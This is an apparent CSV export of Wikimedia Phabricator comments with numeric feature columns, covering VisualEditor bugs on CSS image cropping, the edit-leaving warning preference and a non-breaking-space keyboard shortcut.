{T53932}
{T55226}"
446998,VisualEditor: CSS munging causing CSS image cropping template {{Css Image Crop}} to display wrong portion of image,"The issue as filed was resolved long time ago (see parent bug T52577), I filed T96667 to track the issue of oversized highlights.",,,1429615750,,PHID-USER-wkpnidxoctuhawexig5p,False,,,PHID-TASK-vjl47zkqiz6gdd6vv7bq,task_subcomment,,True,c1,3,True,,,94,,0.0,0.0,0.0,4.0,0.0,7.0,0.0,0.0,0.0,0.0,4.0,0.0,0.0,0.0,0.0,4.0,0.0,4.0,11.0,0.0,4.0,0.0,0.0,0.0,7.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,4.0,0.0,0.0,0.0,0.0,0.0,0.0,4.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,22.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,7.0,4.0,15.0,0.0,0.0,7.0,0.0,0.0,0.0,0.0,7.0,0.0,0.0,0.0,4.0,11.0,7.0,0.0,0.0,0.0,4.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,3.962962962962963,0.9259259259259259,"The issue as filed was resolved long time ago (see parent bug T52577), I filed T96667 to track the issue of oversized highlights."
446009,VisualEditor: CSS munging causing CSS image cropping template {{Css Image Crop}} to display wrong portion of image,"There are no screenshots here to show how it used to be broken, but it seems almost correct now. Only the highlight is displayed incorrectly.

https://en.wikipedia.org/w/index.php?title=Mohammad_Azharuddin&oldid=564025381&veaction=edit

{F117707}",,,1429477738,,PHID-USER-wkpnidxoctuhawexig5p,False,,,PHID-TASK-vjl47zkqiz6gdd6vv7bq,task_subcomment,,True,c1,3,True,,,93,,0.0,0.0,0.0,6.0,0.0,3.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,6.0,3.0,0.0,0.0,18.0,6.0,0.0,6.0,0.0,0.0,0.0,3.0,0.0,0.0,0.0,0.0,0.0,0.0,9.0,3.0,6.0,0.0,0.0,3.0,0.0,0.0,0.0,3.0,0.0,3.0,0.0,0.0,0.0,0.0,0.0,0.0,6.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,3.0,3.0,9.0,12.0,3.0,3.0,6.0,0.0,0.0,0.0,0.0,6.0,0.0,0.0,0.0,6.0,6.0,6.0,0.0,0.0,0.0,6.0,0.0,3.0,0.0,0.0,0.0,0.0,0.0,0.0,3.911764705882353,0.8823529411764706,"There are no screenshots here to show how it used to be broken, but it seems almost correct now. Only the highlight is displayed incorrectly.

URL

{F117707}"
446008,VisualEditor: CSS munging causing CSS image cropping template {{Css Image Crop}} to display wrong portion of image,"There are no screenshots here to show how it used to be broken, but it seems almost correct now. Only the highlight is displayed incorrectly.

{F117707}",,,1429477722,,PHID-USER-wkpnidxoctuhawexig5p,False,,,PHID-TASK-vjl47zkqiz6gdd6vv7bq,task_subcomment,,True,c1,3,True,,,93,,0.0,0.0,0.0,6.0,0.0,3.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,6.0,3.0,0.0,0.0,19.0,6.0,0.0,6.0,0.0,0.0,0.0,3.0,0.0,0.0,0.0,0.0,0.0,0.0,9.0,3.0,6.0,0.0,0.0,3.0,0.0,0.0,0.0,3.0,0.0,3.0,0.0,0.0,0.0,0.0,0.0,0.0,6.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,3.0,3.0,9.0,9.0,3.0,3.0,6.0,0.0,0.0,0.0,0.0,6.0,0.0,0.0,0.0,6.0,6.0,3.0,0.0,0.0,0.0,6.0,0.0,3.0,0.0,0.0,0.0,0.0,0.0,0.0,4.0,0.90625,"There are no screenshots here to show how it used to be broken, but it seems almost correct now. Only the highlight is displayed incorrectly.

{F117707}"
232503,VisualEditor: CSS munging causing CSS image cropping template {{Css Image Crop}} to display wrong portion of image,"The image displayed is the same, https://en.wikipedia.org/wiki/File:Mohammad_Azharuddin_Sangeeta_Bijlani.jpg. But it is cropped by CSS (using https://en.wikipedia.org/wiki/Template:Css_Image_Crop) and VE don’t let the image be cropped correctly…",,,1373541156,,PHID-USER-5pyvkdz65d5h5vxebodc,False,,,PHID-TASK-vjl47zkqiz6gdd6vv7bq,task_subcomment,,True,c1,3,False,,,1,,0.0,0.0,0.0,7.0,0.0,4.0,4.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,7.0,4.0,0.0,0.0,0.0,0.0,0.0,4.0,0.0,0.0,0.0,0.0,0.0,0.0,11.0,0.0,4.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,4.0,0.0,0.0,0.0,0.0,18.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,4.0,0.0,0.0,0.0,0.0,0.0,11.0,11.0,21.0,0.0,7.0,11.0,0.0,0.0,0.0,0.0,7.0,0.0,0.0,0.0,4.0,4.0,4.0,0.0,0.0,0.0,4.0,0.0,0.0,0.0,0.0,4.0,0.0,0.0,0.0,3.5,0.8214285714285714,"The image displayed is the same, URL But it is cropped by CSS (using URL and VE don’t let the image be cropped correctly…"
53057,"VisualEditor: Respect MediaWiki's ""useeditwarning"" user preference to disable leaving while editing warning","If would be nice for power users to have an option to disable the popup warning that occurs when you are trying to leave the edit mode while you have done some editing.

--------------------------
**Version**: unspecified
**Severity**: enhancement",Low,25.0,1373395140,1397849101.0,PHID-USER-2mkpm2voxepwvz7abjug,False,,False,PHID-TASK-7oml5hricm47p3yxxcje,task_description,resolved,True,c1,3,False,False,False,1,,2.0,0.0,0.0,0.0,0.0,4.0,2.0,0.0,0.0,2.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,2.0,12.0,0.0,6.0,0.0,2.0,0.0,0.0,0.0,0.0,0.0,0.0,2.0,0.0,6.0,0.0,0.0,2.0,4.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,8.0,0.0,2.0,0.0,2.0,0.0,15.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,2.0,0.0,0.0,2.0,0.0,0.0,2.0,0.0,2.0,2.0,6.0,4.0,6.0,6.0,0.0,8.0,0.0,0.0,0.0,0.0,8.0,0.0,0.0,0.0,4.0,12.0,0.0,0.0,0.0,0.0,4.0,0.0,4.0,2.0,0.0,2.0,0.0,0.0,0.0,4.096153846153846,0.7307692307692307,"If would be nice for power users to have an option to disable the popup warning that occurs when you are trying to leave the edit mode while you have done some editing.

--------------------------
**Version**: unspecified
**Severity**: enhancement"
250587,"VisualEditor: Respect MediaWiki's ""useeditwarning"" user preference to disable leaving while editing warning","Change 126994 merged by jenkins-bot:
Check useeditwarning preference before showing warning when browsing away from editor

https://gerrit.wikimedia.org/r/126994",,,1397849065,,PHID-USER-idceizaw6elwiwm5xshb,False,,,PHID-TASK-7oml5hricm47p3yxxcje,task_subcomment,,True,c1,3,False,,,41,,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,5.0,9.0,14.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,5.0,0.0,0.0,0.0,0.0,9.0,0.0,5.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,18.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,5.0,0.0,0.0,14.0,5.0,0.0,0.0,0.0,0.0,0.0,0.0,5.0,0.0,5.0,0.0,0.0,14.0,9.0,0.0,0.0,0.0,0.0,0.0,5.0,0.0,0.0,18.0,0.0,0.0,0.0,5.454545454545454,1.0,"Change 126994 merged by jenkins-bot:
Check useeditwarning preference before showing warning when browsing away from editor

GERRIT_URL"
250579,"VisualEditor: Respect MediaWiki's ""useeditwarning"" user preference to disable leaving while editing warning","Change 126994 had a related patch set uploaded by Alex Monk:
Check useeditwarning preference before showing warning when browsing away from editor

https://gerrit.wikimedia.org/r/126994",,,1397746746,,PHID-USER-idceizaw6elwiwm5xshb,False,,,PHID-TASK-7oml5hricm47p3yxxcje,task_subcomment,,True,c1,3,False,,,41,,0.0,0.0,0.0,0.0,0.0,4.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,4.0,8.0,12.0,0.0,0.0,0.0,0.0,0.0,4.0,0.0,0.0,4.0,0.0,0.0,0.0,0.0,8.0,0.0,4.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,15.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,4.0,4.0,0.0,19.0,4.0,0.0,4.0,0.0,0.0,0.0,0.0,4.0,0.0,4.0,0.0,0.0,12.0,12.0,0.0,0.0,0.0,0.0,0.0,4.0,4.0,0.0,15.0,0.0,0.0,0.0,5.3076923076923075,1.0,"Change 126994 had a related patch set uploaded by Alex Monk:
Check useeditwarning preference before showing warning when browsing away from editor

GERRIT_URL"
250571,"VisualEditor: Respect MediaWiki's ""useeditwarning"" user preference to disable leaving while editing warning","Change 126977 abandoned by Alex Monk:
Add preference to disable leaving warning while editing

Reason:
gah, missed that one.

https://gerrit.wikimedia.org/r/126977",,,1397745885,,PHID-USER-idceizaw6elwiwm5xshb,False,,,PHID-TASK-7oml5hricm47p3yxxcje,task_subcomment,,True,c1,3,False,,,41,,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,11.0,0.0,0.0,0.0,4.0,0.0,4.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,4.0,0.0,7.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,11.0,0.0,4.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,21.0,4.0,0.0,4.0,0.0,0.0,0.0,0.0,7.0,0.0,7.0,0.0,0.0,11.0,18.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,7.0,0.0,0.0,0.0,4.321428571428571,0.8928571428571429,"Change 126977 abandoned by Alex Monk:
Add preference to disable leaving warning while editing

Reason:
gah, missed that one.

GERRIT_URL"
250563,"VisualEditor: Respect MediaWiki's ""useeditwarning"" user preference to disable leaving while editing warning","The preference 'useeditwarning' already exists, but this bug is about VisualEditor, maybe the VisualEditor does not respect the core preference or implement it's own edit warning.",,,1397744974,,PHID-USER-qaoxfiqu6bxhd5ehlwhc,False,,,PHID-TASK-7oml5hricm47p3yxxcje,task_subcomment,,True,c1,3,True,,,41,,0.0,0.0,0.0,0.0,3.0,3.0,3.0,0.0,0.0,0.0,0.0,6.0,0.0,0.0,0.0,0.0,3.0,9.0,3.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,3.0,12.0,0.0,3.0,3.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,16.0,0.0,3.0,0.0,0.0,3.0,0.0,0.0,0.0,0.0,0.0,0.0,3.0,0.0,0.0,0.0,0.0,0.0,9.0,3.0,9.0,0.0,6.0,12.0,0.0,0.0,0.0,0.0,6.0,0.0,0.0,0.0,3.0,3.0,6.0,0.0,6.0,0.0,3.0,0.0,0.0,0.0,0.0,3.0,0.0,0.0,0.0,4.8125,0.84375,"The preference 'useeditwarning' already exists, but this bug is about VisualEditor, maybe the VisualEditor does not respect the core preference or implement it's own edit warning."
250556,"VisualEditor: Respect MediaWiki's ""useeditwarning"" user preference to disable leaving while editing warning",Note that such a preference existed before and was removed when this functionality was merged into core from the Vector extension (bug 46514).,,,1397743302,,PHID-USER-wkpnidxoctuhawexig5p,False,,,PHID-TASK-7oml5hricm47p3yxxcje,task_subcomment,,True,c1,3,True,,,41,,0.0,0.0,0.0,8.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,8.0,12.0,0.0,0.0,0.0,0.0,0.0,12.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,4.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,8.0,0.0,0.0,0.0,0.0,4.0,12.0,0.0,4.0,0.0,4.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,8.0,8.0,8.0,8.0,4.0,15.0,0.0,0.0,0.0,0.0,4.0,0.0,4.0,0.0,0.0,12.0,4.0,0.0,0.0,0.0,0.0,0.0,4.0,4.0,0.0,0.0,0.0,0.0,0.0,4.615384615384615,0.9615384615384616,Note that such a preference existed before and was removed when this functionality was merged into core from the Vector extension (bug 46514).
250547,"VisualEditor: Respect MediaWiki's ""useeditwarning"" user preference to disable leaving while editing warning","I'd argue this is unwanted feature mania. If the warning doesn't make sense, remove it. If it does, leave it.",,,1397743017,,PHID-USER-w5a723w3wes6jd5wskgg,False,,,PHID-TASK-7oml5hricm47p3yxxcje,task_subcomment,,True,c1,3,False,,,41,,0.0,0.0,0.0,0.0,4.0,4.0,4.0,0.0,0.0,7.0,0.0,7.0,0.0,0.0,0.0,4.0,0.0,4.0,7.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,4.0,0.0,11.0,4.0,11.0,7.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,15.0,4.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,4.0,4.0,0.0,4.0,0.0,0.0,0.0,4.0,4.0,11.0,7.0,0.0,7.0,0.0,0.0,0.0,0.0,15.0,0.0,0.0,0.0,15.0,7.0,0.0,0.0,0.0,0.0,15.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,3.3333333333333335,0.7407407407407407,"I'd argue this is unwanted feature mania. If the warning doesn't make sense, remove it. If it does, leave it."
250539,"VisualEditor: Respect MediaWiki's ""useeditwarning"" user preference to disable leaving while editing warning","Change 126977 had a related patch set uploaded by Alex Monk:
Add preference to disable leaving warning while editing

https://gerrit.wikimedia.org/r/126977",,,1397742780,,PHID-USER-idceizaw6elwiwm5xshb,False,,,PHID-TASK-7oml5hricm47p3yxxcje,task_subcomment,,True,c1,3,False,,,41,,0.0,0.0,0.0,0.0,0.0,4.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,13.0,0.0,0.0,0.0,4.0,0.0,4.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,9.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,17.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,4.0,0.0,22.0,4.0,0.0,4.0,0.0,0.0,0.0,0.0,9.0,0.0,4.0,0.0,0.0,13.0,13.0,0.0,0.0,0.0,0.0,0.0,0.0,4.0,0.0,9.0,0.0,0.0,0.0,4.826086956521739,1.0,"Change 126977 had a related patch set uploaded by Alex Monk:
Add preference to disable leaving warning while editing

GERRIT_URL"
250530,"VisualEditor: Respect MediaWiki's ""useeditwarning"" user preference to disable leaving while editing warning","As mentioned in IRC, we should make this a core feature for MW and just re-use that preference rather than have a VE-specific one.",,,1373395795,,PHID-USER-ydswvwhh5pm4lshahjje,False,,,PHID-TASK-7oml5hricm47p3yxxcje,task_subcomment,,True,c1,3,True,,,1,,0.0,0.0,0.0,0.0,0.0,3.0,0.0,0.0,0.0,0.0,7.0,0.0,0.0,0.0,0.0,3.0,0.0,7.0,17.0,0.0,0.0,3.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,3.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,13.0,0.0,7.0,0.0,3.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,7.0,0.0,13.0,0.0,3.0,13.0,0.0,0.0,0.0,0.0,17.0,0.0,3.0,0.0,3.0,17.0,7.0,0.0,0.0,0.0,3.0,0.0,0.0,7.0,0.0,0.0,0.0,0.0,0.0,3.566666666666667,0.9333333333333333,"As mentioned in IRC, we should make this a core feature for MW and just re-use that preference rather than have a VE-specific one."
250521,"VisualEditor: Respect MediaWiki's ""useeditwarning"" user preference to disable leaving while editing warning",See http://youtu.be/gqqswqLd5Yw for what I mean,,,1373395370,,PHID-USER-2mkpm2voxepwvz7abjug,False,,,PHID-TASK-7oml5hricm47p3yxxcje,task_subcomment,,True,c1,3,False,,,1,,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,17.0,0.0,0.0,17.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,17.0,33.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,17.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,50.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,17.0,0.0,0.0,0.0,17.0,17.0,0.0,0.0,0.0,0.0,17.0,0.0,17.0,0.0,0.0,0.0,0.0,0.0,0.0,3.0,1.0,See URL for what I mean
53045,VisualEditor: Ctrl+Shift+Space/Opt+Space to insert a non-breaking space (NBSP),"Editor requests support for adding non-breaking spaces (&nbsp;), keyboard shortcut?

From MediaWiki Feedback:

How do I enter a no-break space (& nbsp;) into the source text via the keyboard? Something like Ctrl+Space would be nice … And, BTW, can I see the difference between a regular space and a no-break space?

Troubled @sset Work • Talk • Mail‎18:03, 8 July 2013

--------------------------
Alternative: {T70429}",Low,25.0,1373383320,1618448301.0,PHID-USER-ttyyrgsrkyonct7hizgv,True,PHID-USER-7x5ai23ne5qampjf3g7r,False,PHID-TASK-33ykzddzyqsfzj3qavxw,task_description,resolved,True,c1,3,False,False,False,1,,0.0,1.0,0.0,0.0,0.0,7.0,1.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,2.0,0.0,1.0,7.0,1.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,1.0,1.0,0.0,2.0,1.0,0.0,1.0,0.0,0.0,0.0,0.0,1.0,0.0,0.0,0.0,0.0,0.0,1.0,0.0,0.0,0.0,19.0,0.0,0.0,1.0,0.0,1.0,0.0,0.0,0.0,1.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,7.0,1.0,20.0,1.0,4.0,9.0,0.0,1.0,0.0,0.0,4.0,0.0,3.0,0.0,2.0,7.0,11.0,3.0,0.0,0.0,2.0,0.0,1.0,3.0,0.0,1.0,0.0,0.0,0.0,4.066666666666666,0.7111111111111111,"Editor requests support for adding non-breaking spaces (&nbsp;), keyboard shortcut?

From MediaWiki Feedback:

How do I enter a no-break space (& nbsp;) into the source text via the keyboard? Something like Ctrl+Space would be nice … And, BTW, can I see the difference between a regular space and a no-break space?

TroubledSCREEN_NAME Work • Talk • Mail‎18:03, 8 July 2013

--------------------------
Alternative: {T70429}"
2161793,VisualEditor: Ctrl+Shift+Space/Opt+Space to insert a non-breaking space (NBSP),"Test wiki on [[ http://localhost/patchdemo | Patch demo ]]  by Ed using patch(es) linked to this task was **deleted**:

~~[[ http://localhost/patchdemo/wikis/bca3f56df9aa1ff71991cf889062e980/w/ ]]~~",,,1689773252,,PHID-USER-it53o2f2kyryqyj33uzt,True,,,PHID-TASK-33ykzddzyqsfzj3qavxw,task_subcomment,,True,c1,3,True,,,524,,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,8.0,0.0,0.0,0.0,0.0,3.0,3.0,0.0,0.0,0.0,0.0,0.0,3.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,28.0,0.0,3.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,3.0,14.0,0.0,0.0,3.0,0.0,0.0,0.0,0.0,0.0,0.0,3.0,0.0,0.0,8.0,8.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,3.0,0.0,0.0,8.0,2.5,0.6944444444444444,"Test wiki on [[ URL | Patch demo ]]  by Ed using patch(es) linked to this task was **deleted**:

~~[[ URL ]]~~"
1703763,VisualEditor: Ctrl+Shift+Space/Opt+Space to insert a non-breaking space (NBSP),"This should be fixed now, and the change will be deployed to Wikimedia wikis next week.

Here's how the final version works:
* On every operating system and keyboard layout, VisualEditor should support the built-in shortcut to insert a non-breaking space – e.g. Opt+Space on macOS, or various Linux keyboard layouts like those mentioned in T53045#5133074. (We'd appreciate if you could test with your favorite operating system / browser / language / keyboard layout / input method, as it's impossible for us to verify all combinations.)
* In addition to that, on PC, we also support the Ctrl+Shift+Space shortcut to insert a non-breaking space.
* These shortcuts insert the `&nbsp;` entity, in new wikitext editor as well as in the visual editor.",,,1618344115,,PHID-USER-wkpnidxoctuhawexig5p,True,,,PHID-TASK-33ykzddzyqsfzj3qavxw,task_subcomment,,True,c1,3,True,,,406,,1.0,0.0,0.0,1.0,0.0,7.5,0.0,0.0,0.0,0.5,5.5,0.5,0.0,0.0,0.0,2.0,0.0,4.0,11.5,0.0,2.0,1.0,0.0,0.0,0.0,0.5,0.0,0.0,0.5,1.0,0.0,3.0,0.0,0.5,0.5,1.0,0.0,0.0,0.0,0.0,0.0,0.0,0.5,2.5,0.0,0.0,0.0,0.0,0.0,14.0,1.5,0.5,0.0,0.0,0.0,0.0,0.0,0.0,0.5,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,4.5,1.0,8.0,1.0,1.5,8.0,0.0,0.0,0.0,0.0,5.0,0.0,0.0,0.0,3.5,11.5,5.0,0.0,0.0,0.0,3.5,0.0,0.5,1.0,0.5,0.0,0.0,0.0,0.0,4.166666666666666,0.7933333333333333,"This should be fixed now, and the change will be deployed to Wikimedia wikis next week.

Here's how the final version works:
* On every operating system and keyboard layout, VisualEditor should support the built-in shortcut to insert a non-breaking space – e.g. Opt+Space on macOS, or various Linux keyboard layouts like those mentioned in T53045#5133074. (We'd appreciate if you could test with your favorite operating system / browser / language / keyboard layout / input method, as it's impossible for us to verify all combinations.)
* In addition to that, on PC, we also support the Ctrl+Shift+Space shortcut to insert a non-breaking space.
* These shortcuts insert the CODE entity, in new wikitext editor as well as in the visual editor."
1703719,VisualEditor: Ctrl+Shift+Space/Opt+Space to insert a non-breaking space (NBSP),"Change 255937 **merged** by jenkins-bot:
%%%[mediawiki/extensions/VisualEditor@master] Add command to insert non-breaking space%%%
https://gerrit.wikimedia.org/r/255937",,,1618340744,,PHID-USER-idceizaw6elwiwm5xshb,True,,,PHID-TASK-33ykzddzyqsfzj3qavxw,task_subcomment,,True,c1,3,False,,,406,,0.0,0.0,0.0,0.0,0.0,9.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,6.0,0.0,3.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,3.0,0.0,0.0,0.0,0.0,3.0,0.0,0.0,0.0,3.0,0.0,0.0,0.0,0.0,0.0,21.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,12.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,9.0,9.0,3.0,0.0,0.0,6.0,6.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,3.0,3.9696969696969697,0.7575757575757576,"Change 255937 **merged** by jenkins-bot:
%%%[mediawiki/extensions/VisualEditor@master] Add command to insert non-breaking space%%%
GERRIT_URL"
1695946,VisualEditor: Ctrl+Shift+Space/Opt+Space to insert a non-breaking space (NBSP),"Change 676162 **merged** by jenkins-bot:
%%%[mediawiki/extensions/VisualEditor@master] Update VE core submodule to master (5d0701ea3)%%%
https://gerrit.wikimedia.org/r/676162",,,1617229406,,PHID-USER-idceizaw6elwiwm5xshb,True,,,PHID-TASK-33ykzddzyqsfzj3qavxw,task_subcomment,,True,c1,3,False,,,404,,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,6.0,0.0,3.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,3.0,0.0,0.0,0.0,0.0,0.0,27.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,15.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,3.0,9.0,3.0,0.0,0.0,6.0,12.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,6.0,4.121212121212121,0.7878787878787878,"Change 676162 **merged** by jenkins-bot:
%%%[mediawiki/extensions/VisualEditor@master] Update VE core submodule to master (5d0701ea3)%%%
GERRIT_URL"
1695931,VisualEditor: Ctrl+Shift+Space/Opt+Space to insert a non-breaking space (NBSP),"Change 676162 had a related patch set uploaded (by Bartosz Dziewoński; author: Bartosz Dziewoński):
%%%[mediawiki/extensions/VisualEditor@master] Update VE core submodule to master (5d0701ea3)%%%
https://gerrit.wikimedia.org/r/676162",,,1617227930,,PHID-USER-idceizaw6elwiwm5xshb,True,,,PHID-TASK-33ykzddzyqsfzj3qavxw,task_subcomment,,True,c1,3,False,,,404,,0.0,0.0,0.0,0.0,0.0,5.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,5.0,0.0,3.0,0.0,0.0,0.0,3.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,3.0,0.0,0.0,0.0,0.0,0.0,23.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,3.0,0.0,23.0,0.0,0.0,3.0,0.0,0.0,0.0,0.0,0.0,8.0,3.0,0.0,0.0,5.0,18.0,0.0,0.0,0.0,0.0,0.0,0.0,3.0,0.0,0.0,0.0,0.0,5.0,4.769230769230769,0.8205128205128205,"Change 676162 had a related patch set uploaded (by Bartosz Dziewoński; author: Bartosz Dziewoński):
%%%[mediawiki/extensions/VisualEditor@master] Update VE core submodule to master (5d0701ea3)%%%
GERRIT_URL"
1695925,VisualEditor: Ctrl+Shift+Space/Opt+Space to insert a non-breaking space (NBSP),"Change 665132 **merged** by jenkins-bot:
%%%[VisualEditor/VisualEditor@master] Detect NBSPs being inserted deliberately by IMEs%%%
https://gerrit.wikimedia.org/r/665132",,,1617227748,,PHID-USER-idceizaw6elwiwm5xshb,True,,,PHID-TASK-33ykzddzyqsfzj3qavxw,task_subcomment,,True,c1,3,False,,,404,,0.0,0.0,0.0,3.0,0.0,3.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,3.0,7.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,3.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,3.0,0.0,0.0,0.0,0.0,20.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,3.0,23.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,3.0,10.0,3.0,0.0,0.0,7.0,10.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,7.0,4.333333333333333,0.7666666666666667,"Change 665132 **merged** by jenkins-bot:
%%%[VisualEditor/VisualEditor@master] Detect NBSPs being inserted deliberately by IMEs%%%
GERRIT_URL"
1678854,VisualEditor: Ctrl+Shift+Space/Opt+Space to insert a non-breaking space (NBSP),"Test wiki on [[ http://localhost/patchdemo | Patch Demo ]]  by Ed using patch(es) linked to this task was **deleted**:

